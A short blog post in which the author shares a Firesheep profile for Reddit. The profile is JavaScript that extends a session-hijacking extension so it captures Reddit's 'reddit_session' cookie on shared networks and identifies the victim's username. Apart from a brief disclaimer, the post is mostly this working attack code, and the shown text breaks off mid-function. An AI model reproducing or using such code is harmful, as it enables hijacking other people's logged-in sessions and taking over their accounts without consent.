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Firesheep profile for Reddit

I tried out Firesheep, and it’s so simple, yet has such potential for evil. Anyway, I just played around with it, I do not intend to use it for nefarious purposes (no-one should). It only took me a couple of minutes to throw together a Firesheep profile for reddit. If anyone is interested, here it is:

// Author:
//   Arvin Johansson Arbab

  name: 'Reddit',
  url: 'http://www.reddit.com/',
  domains: [ 'reddit.com' ],
  sessionCookieNames: [ '__utma', 'reddit_session' ],

  identifyUser: function () {
    var resp = this.httpGet(this.siteUrl);
    this.userName = resp.body.querySelector('#header-bottom-right .user a').textContent;
    this.userAvatar = 'http://i.imgur.com/CSqUE.png';